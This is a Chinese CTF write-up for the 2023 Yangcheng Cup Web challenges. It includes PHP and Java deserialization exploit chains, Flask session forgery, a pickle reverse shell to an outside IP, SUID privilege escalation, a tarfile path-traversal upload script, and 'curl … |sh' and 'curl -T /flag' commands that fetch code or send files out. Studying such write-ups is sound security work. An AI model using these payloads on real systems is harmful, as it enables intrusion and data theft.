• 2023年“羊城杯”网络安全大赛 Web方向题解wp 全


    团队名称:ZhangSan

    序号:11


    不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~
    在这里插入图片描述

    D0n’t pl4y g4m3!!!

    简单记录一下,实际做题踩坑很多,尝试很多。

    先扫了个目录,扫出start.sh

    image-20230902121229970

    内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。

    image-20230902121243034

    开始做题,题目让我访问路由/p0p.php,但是直接跳转到了https://passer-by.com/pacman/。应该是php源码里面有302跳转。

    image-20230903001506846

    还是太年轻了,一开始以为是前端游戏题,一直在看小游戏的源码。。。。。。

    只能说题目名字诚不欺我。那排除了前端小游戏,我们就得想办法拿到p0p.php的源码了。

    搜索关键字php -S 0.0.0.0:80内置服务器任意文件读取源码很容易就搜索到这篇文章:漏洞复现php 5.5.45 - 8.0.2任意文件读取 | CTF导航 (ctfiot.com)

    跟着做就好啦,记得burp->左上角重发器->关掉Content-Length自动更新。

    PHP内置服务器任意文件读取:
    
    版本: 5.5.45 - 8.0.2
    
    用法:
    GET /p0p.php HTTP/1.1\r\n
    Host: 192.168.188.3:8080\r\n
    \r\n
    \r\n
    GET / HTTP/1.1\r\n
    \r\n
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    image-20230902121124367

    源码如下:

    
    header("HTTP/1.1 302 found");
    header("Location:https://passer-by.com/pacman/");
    
    class Pro{
        private $exp;
        private $rce2;
    
        public function __get($name)
        {
            return $this->$rce2=$this->exp[$rce2];
        }
        public  function __toString()
        {
                call_user_func('system', "cat /flag");
         }
    }
    
    class Yang
    {
        public function __call($name, $ary)
        {
            if ($this->key === true || $this->finish1->name) {
                if ($this->finish->finish) {
                    call_user_func($this->now[$name], $ary[0]);
                }
            }
        }
        public function ycb()
        {
            $this->now = 0;
            return $this->finish->finish;
        }
        public function __wakeup()
        {
            $this->key = True;
        }
    }
    class Cheng
    {
        private $finish;
        public $name;
        public function __get($value)
        {
    
            return $this->$value = $this->name[$value];
        }
    }
    class Bei
    {
        public function __destruct()
        {
            if ($this->CTF->ycb()) {
                $this->fine->YCB1($this->rce, $this->rce1);
            }
        }
        public function __wakeup()
        {
            $this->key = false;
        }
    }
    
    function prohib($a){
        $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
        return preg_replace($filter,'',$a);
    }
    
    $a = $_POST["CTF"];
    if (isset($a)){
      unserialize(prohib($a));
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    接下来就是简单的反序列化了。(虽然说题目有点坑)

    有了hint知道flag在哪,链子就不会错了,链子:Bei::__destruct()->Yang::__call

    给个EXP:

    
    class Pro{
        private $exp;
        private $rce2;
    
        public function __get($name)
        {
            return $this->$rce2=$this->exp[$rce2];
        }
        public  function __toString()
        {
            //echo `tac /tmp/catcatf1ag.txt`
            call_user_func('system', "cat /flag");       //   /tmp/catcatf1ag.txt
        }
    }
    
    class Yang
    {
        public function __call($name, $ary)  //2
        {
            if ($this->key === true || $this->finish1->name) {
                if ($this->finish->finish) {
                    call_user_func($this->now[$name], $ary[0]);
                }
            }
        }
        public function ycb()
        {
            $this->now = 0;
            return $this->finish->finish;
        }
        public function __wakeup()
        {
            $this->key = True;
        }
    }
    class Cheng
    {
        private $finish;
        public $name;
        public function __get($value)
        {
    
            return $this->$value = $this->name[$value];
        }
    }
    class Bei
    {
        public function __destruct()//1
        {
            if ($this->CTF->ycb()) {
                $this->fine->YCB1($this->rce, $this->rce1);//2
            }
        }
        public function __wakeup()
        {
            $this->key = false;
        }
    }
    /*
    function prohib($a){
        $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
        return preg_replace($filter,'',$a);
    }
    */
    
    $aa=new Bei();
    $aa->CTF=new Yang();    //if
    $aa->CTF->finish->finish=true;
    
    
    $aa->fine=new Yang();
    $aa->fine->key=true;
    $aa->rce='tac /tmp/catcatf1ag.txt';
    $aa->rce1='tac /tmp/catcatf1ag.txt';
    
    $aa->fine->finish->finish=true;
    $aa->fine->now=array('YCB1'=>'syssystemtem');
    
    //echo urlencode(serialize($aa));
    
    $b=serialize($aa);
    echo $b;
    
    
    
    //unserialize($b);
    
    
    //O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"tac /tmp/catcatf1ag.txt";s:4:"rce1";s:23:"tac /tmp/catcatf1ag.txt";}
    
    function prohib($aa){
        $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
        return preg_replace($filter,'',$aa);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95

    双写绕过prohib(),改长度。(12->6)

    s:12:"syssystemtem";     //原始,system双写了
    s:6:"syssystemtem";      //12->6
    s:6:"system";            //经过prohib(),只过滤替换一次,所以可以双写绕过
    
    • 1
    • 2
    • 3

    记得开启Content-Length自动更新,要不然寄。

    image-20230902121133885

    Serpent

    开题。

    image-20230903010807375

    题目描述叫我们注意www.zip。访问下载,得到源码。

    from flask import Flask, session
    from secret import secret
    
    @app.route('/verification')
    def verification():
        try:
            attribute = session.get('Attribute')
            if not isinstance(attribute, dict):
                raise Exception
        except Exception:
            return 'Hacker!!!'
        if attribute.get('name') == 'admin':
            if attribute.get('admin') == 1:
                return secret
            else:
                return "Don't play tricks on me"
        else:
            return "You are a perfect stranger to me"
    
    if __name__ == '__main__':
        app.run('0.0.0.0', port=80)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    和session相关,我们的session是:

    eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU

    以为是JWT,解密一下看payload就知道不是。

    image-20230903011130286

    注意到这里有secret_key,猜测是session伪造。

    image-20230903011236027

    破解session:

    python flask_session_cookie_manager3.py decode -s "GWHTSywTu8m6kI" -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU"
    
    • 1

    伪造session:(伪造要求在源码里面)

    python flask_session_cookie_manager3.py encode -s "GWHTSywTu8m6kI" -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTSywTu8m6kI'}}"
    
    • 1

    得到伪造的session

    eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUd1gxWW1ob3lnZyJ9fQ.ZPKyrQ.zn60ktc6EtGIByZ0wc3XlDIwvxs
    
    • 1

    image-20230902123005394

    返回Hello admin, welcome to /ppppppppppick1e

    image-20230902120944015

    访问/ppppppppppick1e路由,返回Hint: Source in /src0de

    image-20230902122335512

    访问路由/src0de,返回源码,好套。

    @app.route('/src0de')
    def src0de():
        f = open(__file__, 'r')
        rsp = f.read()
        f.close()
        return rsp[rsp.index("@app.route('/src0de')"):]
    
    @app.route('/ppppppppppick1e')
    def ppppppppppick1e():
        try:
            username = "admin"
            rsp = make_response("Hello, %s " % username)
            rsp.headers['hint'] = "Source in /src0de"
            pick1e = request.cookies.get('pick1e')
            if pick1e is not None:
                pick1e = base64.b64decode(pick1e)
            else:
                return rsp
            if check(pick1e):
                pick1e = pickle.loads(pick1e)
                return "Go for it!!!"
            else:
                return "No Way!!!"
        except Exception as e:
            error_message = str(e)
            return error_message
    
        return rsp
    
    class GWHT():
        def __init__(self):
            pass
    
    if __name__ == '__main__':
        app.run('0.0.0.0', port=80)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    经过测试,过滤了__ruduce__

    那就换一个没有__ruduce__的payload:pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)

    import base64
    data=import base64
    data=b'''(cos
    system
    S'bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"'
    o.'''
    print(base64.b64encode(data))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    POC:

    pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIicKby4=
    
    • 1

    image-20230902144749491

    image-20230902134305535

    直接getflag行不通,还得提权,好好好。

    image-20230902134350592

    尝试find提权,无果。https://www.cnblogs.com/aaak/p/15718561.html

    #查看find命令位置
    which find
    
    #查看 find 命令权限
    ls -l  /usr/bin/find   #  这是find 默认位置
    
    -rwxr-xr-x 1 root root 320160 Feb 18  2020 /usr/bin/find
    # 有s表示可以提权,这里没有哦,所以行不通。。。。。。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image-20230902134718846

    算了,按流程走一遍提权。

    /usr/bin目录ls -alsh,发现python3.8有s权限位(suid)。

    ...
    ...
    ...
    ...
    5.3M -rwsr-xr-x 1 root root   5.3M May 26 14:05 python3.8
    ...
    ...
    ...
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    cap_setuid提权:Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)

    相当于又开启了一个shell,但是权限是python的。

    python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
    
    • 1

    然后就能顺畅的getflag了。

    image-20230902141251338

    image-20230902140835111

    其实su也有s权限位,一开始想用su提权,su是可以切换用户的,像kali中的sudo su或者su root切换root用户,但是需要root用户密码,不能用于suid提权。

    好文不谢:https://gtfobins.github.io/

    ArkNights

    非预期直接拿下一血了。

    image-20230902162217866

    非预期是/read路由读取环境变量。

    image-20230902162346415

    放个源码赛后复现预期,先去写别的了:

    # 导入所需模块
    import uuid  # 用于生成唯一标识符
    from flask import *  # 导入 Flask 框架的相关模块
    from werkzeug.utils import *  # 导入 Werkzeug 工具类的相关模块
    
    # 创建 Flask 应用实例
    app = Flask(__name__)
    
    # 设置应用的 SECRET_KEY
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "*") + "Boogipopisweak"
    
    # 定义根路径的路由和视图函数
    @app.route('/')
    def index():
        # 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name"
        name = request.args.get("name", "name")
        # 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中
        m1sery = [request.args.get("m1sery", "Doctor.Boogipop")]
    
        # 检查会话中的 "name" 是否等于 "Dr.Boog1pop"
        if session.get("name") == "Dr.Boog1pop":
            # 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符
            blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
            if blacklist:
                return "bad hacker no way"  # 如果检测到黑名单字符,返回拒绝访问消息
    
            # 执行一段动态生成的代码,此处使用了 f-string
            exec(f'for [{name}] in [{m1sery}]:print("strange?")')
    
        else:
            session['name'] = "Doctor"  # 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor"
    
        # 渲染名为 "index.html" 的模板,并传递会话中的 "name" 到模板中
        return render_template("index.html", name=session.get("name"))
    
    # 定义 "/read" 路由,用于读取文件
    @app.route('/read')
    def read():
        # 获取名为 "file" 的查询参数,表示要读取的文件名
        file = request.args.get('file')
        
        # 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符
        fileblacklist = re.findall("/flag|fl|ag/", file, re.IGNORECASE)
        if fileblacklist:
            return "bad hacker!"  # 如果检测到黑名单字符,返回拒绝访问消息
    
        # 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置
        start = request.args.get("start", "0")
        end = request.args.get("end", "0")
    
        if start == "0" and end == "0":
            # 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回
            return open(file, "rb").read()
        else:
            # 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容
            start, end = int(start), int(end)
            f = open(file, "rb")
            f.seek(start)
            data = f.read(end)
            return data  # 返回读取到的数据
    
    # 定义动态路由,用于渲染页面,动态路由的路径参数是 "path"
    @app.route("/")
    def render_page(path):
        # 检查是否存在名为 "templates/" + path 的文件
        if not os.path.exists("templates/" + path):
            return "not found", 404  # 如果文件不存在,返回 404 错误
    
        # 渲染指定路径的模板
        return render_template(path)
    
    # 如果该脚本直接运行,启动 Flask 应用
    if __name__ == '__main__':
        app.run(
            debug=False,  # 关闭调试模式
            host="0.0.0.0"  # 监听所有可用的网络接口
        )
        print(app.config['SECRET_KEY'])  # 打印应用的 SECRET_KEY
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78

    ezyaml

    源码直接给了。

    # 创建 Flask 应用实例
    app = Flask(__name__)
    
    # 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
    def waf(s):
        flag = True
        blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
        for no in blacklist:
            if no.lower() in str(s).lower():
                flag = False
                print(no)
                break
        return flag
    
    # 定义提取文件的函数
    def extractFile(filepath, type):
        extractdir = filepath.split('.')[0]
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)
    
        if type == 'tar':
            tf = tarfile.TarFile(filepath)
            tf.extractall(extractdir)
            return tf.getnames()
    
    # 定义根路由和视图函数,用于显示主页
    @app.route('/', methods=['GET'])
    def main():
        fn = 'uploads/' + md5().hexdigest()
        if not os.path.exists(fn):
            os.makedirs(fn)
        return render_template('index.html')
    
    # 定义上传文件的路由和视图函数
    @app.route('/upload', methods=['GET', 'POST'])
    def upload():
        if request.method == 'GET':
            return redirect('/')
    
        if request.method == 'POST':
            upFile = request.files['file']
            print(upFile)
    
            # 检查文件名是否包含恶意字符,如 ".." 或 "/"
            if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
                return ""
    
            savePath = f"uploads/{upFile.filename}"
            print(savePath)
            upFile.save(savePath)
    
            # 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
            if tarfile.is_tarfile(savePath):
                zipDatas = extractFile(savePath, 'tar')
                return render_template('result.html', path=savePath, files=zipDatas)
            else:
                return f""
    
    # 定义查看源代码的路由和视图函数
    @app.route('/src', methods=['GET'])
    def src():
        if request.args:
            username = request.args.get('username')
            with open(f'config/{username}.yaml', 'rb') as f:
                Config = yaml.load(f.read())
                return render_template('admin.html', username="admin", message="success")
        else:
            return render_template('index.html')
    
    # 启动 Flask 应用,监听在 0.0.0.0:8000
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8000)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    思路很明显,/upload路由想办法上传yaml文件到/config//src路由想办法解析yaml文件。

    我们分为上传路径问题和解析问题。

    首先是上传路径问题,过滤了../,尝试使用全角字符尝试失败。

    ﹒﹒/﹒﹒/﹒﹒/﹒﹒/﹒﹒/etc/passwd
    
    • 1

    image-20230902172400220

    直接上传文件失败,那就从压缩包入手。源码里面tar不查里面文件的文件名。

    # 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
            if tarfile.is_tarfile(savePath):
                zipDatas = extractFile(savePath, 'tar')
                return render_template('result.html', path=savePath, files=zipDatas)
    
    • 1
    • 2
    • 3
    • 4

    但是遇到了一个问题,windows和linux都不支持文件名包含/,010也改不了tar,无法路径穿越。

    搜索关键词:python tar压缩包 目录遍历 任意文件读取

    可以搜到:CVE-2007-4559,用来绕过路径问题。虽然是07年的CVE,但是22年又翻出来了。

    前面三篇可以对其大概有所了解,利用看后面三篇。

    一个 15 年未修补 Python 漏洞让攻击者可以执行代码:35 万个开源代码存储库岌岌可危-腾讯云开发者社区-腾讯云 (tencent.com)

    被忽视15年的CVE-2007-4559 Python漏洞 导致35万项目陷入代码执行风险|python|cve|存储库_网易订阅 (163.com)

    CVE-2007-4559原理及复现 - 边窗/SideWindow (peirs.net)

    CVE-2007-4559漏洞学习 – l1_Tuer’s blog (l1tuer.space)

    【WP】NSSCTF Round#6 web3-check(Revenge)复现 - br0sy’s blog

    NSSCTF Round#6-web (pankas.top)

    tarfile文件覆盖漏洞(CVE-2007-4559)
    
    Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件
    
    • 1
    • 2
    • 3

    image-20230903022731882

    拿第四篇的脚本稍微改一下就能用了:

    import re     # 导入正则表达式模块
    import time   # 导入时间模块
    import requests as req   # 导入requests库,用于发送HTTP请求
    import tarfile   # 导入tarfile库,用于创建和解压tar文件
    
    url = 'http://8000.endpoint-7d9b62edec9940c39d61c504575a64e0.m.ins.cloud.dasctf.com:81/'   # 设置目标URL
    filename = r"1.yaml"   # 设置要上传的文件名
    
    def changeFileName(filename):
        filename.name='../../../../../app/config/jay.yaml'   # 修改文件名
        return filename
    
    with tarfile.open("jay.tar", "w") as tar:   # 创建名为jay.tar的tar文件
        tar.add(filename, filter=changeFileName)   # 将指定的文件添加到tar文件中,并通过filter参数修改文件名
    
    def upload(rawurl):
        url = rawurl + "upload"   # 拼接完整的上传URL
        response = req.post(url=url, files={"file": open("exp.tar", 'rb')})   # 发送POST请求,上传exp.tar文件
        print(response.text)   # 打印响应内容
    
    
    def getFlag(rawurl):
        url = rawurl + 'src?username=jay'   # 拼接完整的解析URL,解析执行/config/jay.yaml文件
        response = req.get(url)   # 发送GET请求,下载文件
        print(response.content)   # 打印响应内容
    
    if __name__ == "__main__":
        upload(url)   # 调用upload函数,上传文件
        time.sleep(3)   # 等待3秒
        #getFlag(url)   # 调用getFlag函数,解析执行/config/jay.yaml文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    运行后yaml文件就被成功写入/config/目录了。(这里试验时文件内容是111)

    image-20230903023400445

    访问/src?username=jay不报错500,就是写入成功了。

    image-20230903023448541


    接下来就是解析问题了,源码中暂时没看见过滤yaml文件内容的语句。但是注意到waf函数一直没有使用。感觉这个waf函数是检查我yaml文件的。尝试了一下还真是,估计出题人没有完全把源码给我们。

    def waf(s):
        flag = True
        blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
        for no in blacklist:
            if no.lower() in str(s).lower():
                flag = False
                print(no)
                break
        return flag
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    绕过方法:SecMap - 反序列化(PyYAML) - Tr0y’s Blog

    tar包里面1.yaml的内容:(加载uploads/17.py)

    !!python/module:uploads.17.py
    
    • 1

    所以在访问/src?username=jay前,我们还要上传一个.py文件。

    image-20230903023908612

    内容是:(利用平台弹shell,用curl就行了)

    import os
    os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')
    
    • 1
    • 2

    访问/src?username=jay,自动弹shell。

    image-20230903024210088

    Ez_java

    考点:java反序列化,动态代理,模板注入,http信道带出数据。

    链子如下:BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile


    先分析一下web路由的作用:(IndexController)

    /:输出"Welcome to YCB"

    /templating:渲染模板

    /getflag:传入data,base64解码+反序列化

    image-20230903050702439

    然后是HtmlInvocationHandler类中的invoke方法。这个方法可以就行动态代理,代理的类方法会被拦截并且执行HtmlInvocationHandlerobj属性的get方法。

    image-20230903051129342

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            Object result = this.obj.get(method.getName());
            return result;
        }
    
    • 1
    • 2
    • 3
    • 4

    HTMLmap类的get方法,可以上传文件,是利用点。

    image-20230903051211121

    public Object get(Object key) {
            try {
                Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
                return obj;
            } catch (Exception var4) {
                throw new RuntimeException(var4);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    然后看HtmlUploadUtil()类:

    public static boolean uploadfile(String filename, String content) {
            if (filename != null && !filename.endsWith(".ftl")) {
                return false;
            } else {
                String realPath = "/app/templates/" + filename;
                if (!realPath.contains("../") && !realPath.contains("..\\")) {
                    try {
                        BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
                        writer.write(content);
                        writer.close();
                        return true;
                    } catch (IOException var4) {
                        System.err.println("Error uploading file: " + var4.getMessage());
                        return false;
                    }
                } else {
                    return false;
                }
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    上传的文件必须是.ftl后缀结尾的文件,ftl是java的一个模板类。前面说了HTMLmap类的get方法,可以上传文件,是利用点。那就有可能上传ftl文件覆盖原文件,使模板渲染恶意文件中的恶意代码执行命令。

    这里直接执行命令没有回显。无文件写入权限也不能反弹shell,最后选择用http信道带出文件,猜测flag在/flag

    curl -T /flag http://120.46.41.173:9023
    
    • 1

    image-20230903051846349

    POC:

    package com.jiangshiqi;
    
    /**
     * @ClassName EXP
     * @Author 86159
     * @Date 2023/9/2
     * @Version 1.0
     */
    
    import com.ycbjava.Bean.HtmlBean;
    import com.ycbjava.Utils.HtmlInvocationHandler;
    import com.ycbjava.Utils.HtmlMap;
    import com.ycbjava.Utils.NewObjectInputStream;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.Base64;
    import java.util.Map;
    
    public class EXP {
        public static void main(String[] args) throws Exception {
            HtmlMap htmlMap = new HtmlMap();
            htmlMap.filename = "index.ftl";
            htmlMap.content = "<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag http://120.46.41.173:9023\")}";
    
            Class clazz = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");
    
            Constructor firstConstructor = clazz.getDeclaredConstructors()[0];
    
            firstConstructor.setAccessible(true);
    
            Map root012map = (Map) Proxy.newProxyInstance(
                    EXP.class.getClassLoader(),
                    new Class[]{Map.class},
                    (InvocationHandler) firstConstructor.newInstance(htmlMap)
            );
    
            InvocationHandler htmlInvocationHandler = (InvocationHandler)
                    firstConstructor.newInstance(root012map);
    
            BadAttributeValueExpException exception = new
                    BadAttributeValueExpException(null);
    
            Field valfield = exception.getClass().getDeclaredField("val");
    
            valfield.setAccessible(true);
    
            valfield.set(exception, root012map);
    
            ByteArrayOutputStream byteArrayOutputStream = new
                    ByteArrayOutputStream();
    
            ObjectOutputStream objectOutputStream = new
                    ObjectOutputStream(byteArrayOutputStream);
    
            objectOutputStream.writeObject(exception);
    
            byteArrayOutputStream.flush();
    
            byte[] bytes = byteArrayOutputStream.toByteArray();
    
            String encode = Base64.getEncoder().encodeToString(bytes);
    
            System.out.println(encode);
    
            NewObjectInputStream objectInputStream = new NewObjectInputStream(new
                    ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
            objectInputStream.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77

    生成序列化字符串:

    image-20230903052226194

    url编码后上传

    /getflag?data=xxxxx
    
    • 1

    image-20230903052308629

    /templating?name=Jay17
    
    • 1

    vps的9023端口接到监听

    image-20230903052411555

    EZ_web【没出,之后补】

    扫出目录upload.php

    image-20230902150609688

    有三个功能,上传文件、执行命令、列出目录。

    image-20230903053117750

    flag就在/flag.txt

    image-20230903053147758

  • 相关阅读:
    RabbitMQ 消息中间件
    【C数据存储详解】(2)——深度剖析 浮点型数据 在内存中的存取
    (第一天:)1.字典赋值默认值、字典解压赋值
    动态代理jdk和cglib
    CMS知识小结及wordpress的安装与漏洞复现
    租赁小程序|租赁系统一种新型的商业模式
    【代码随想录】刷题Day51&Day52
    TiKV & TiFlash 加速复杂业务查询丨TiFlash 应用实践
    深度学习 基础硬件CPU GPU知识笔记
    敏捷项目管理术语大全
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/132646048